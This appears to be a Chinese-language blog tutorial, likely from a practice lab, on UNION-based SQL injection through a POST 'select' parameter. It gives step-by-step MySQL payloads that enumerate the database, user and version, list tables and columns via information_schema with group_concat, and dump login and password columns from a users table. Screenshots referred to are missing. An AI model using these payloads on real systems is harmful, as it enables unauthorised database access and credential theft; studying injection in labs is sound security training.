sql注入-----sql injection post select

1.首先我们先确定我们需要请求的参数是什么

 

 

 

 然后我们看看结果

 

 我们输入 1 or 1=1 #来查看时发现,输入的内容没有报错,但是返回的结果也只有一条。

那么这个时候我们可以推测,代码或者脚本逻辑中,应该加了limit,所以只返回一个,这个时候我们可以这样做

 

 

 

 然后我们发现显示   2    3   5  4

然后我们可以改装这几项的显示内容

 

 

 

22  union select 1,database(),user(),version(),5,6 #

从上面已知到数据库的权限用户是什么,版本是什么,所使用的库是哪个库

下面则查看库里面的表内容 ,这个库中的这个表包含所有数据库表数据information_schema.tables,这个代表查询所属当前库table_schema=database(),limit 0,1则每次查询一条,从第1条记录开始查每次查一条

也可以limit 1,1  从第2条开始查,每次查一条

table_name from information_schema.tables where table_schema=database() limit 0,1#

如果需要的字段太多可以使用mysql的拼接函数   group_concat,使用如下   select group_concat(Field name) from tableName ,效果如下

 

 

 也可以直接使用concat来进行列值的组合,详情如下

 

 本来我们的注入是这样的

22 UNION select 1,DATABASE(),USER(),VERSION(),table_name,6 from information_schema.tables
where table_schema=database() limit 0,1#

那我们有了group_concat之后我们就可以这样组合

22 UNION select 1,DATABASE(),USER(),VERSION(),group_concat(table_name),6 from information_schema.tables
where table_schema=database() #

 

 

 

 

 从上面我们可以得到我们所在库的所有表

拿到表了之后我们去找每张表的字段column_name为information_schema.columns表中固定写法,table_name为所属表,users为我们在上面获得的表名,从而拿到users表中的所有字段名

SELECT 1,DATABASE(),USER(),VERSION(),group_concat(column_name),6 FROM information_schema.columns
WHERE table_name='users';

 

 

 

 然后我们挨个试,得到有用的列名,然后通过我们的脚本获取到所有的数据

SELECT 1,DATABASE(),GROUP_CONCAT(login),VERSION(),GROUP_CONCAT(PASSWORD),6 FROM users;

22 UNION SELECT 1,DATABASE(),GROUP_CONCAT(login),VERSION(),GROUP_CONCAT(PASSWORD),6 FROM users;#

 

 

 

posted @ 2022-06-23 11:33  沫笙*  阅读(80)  评论(0编辑  收藏  举报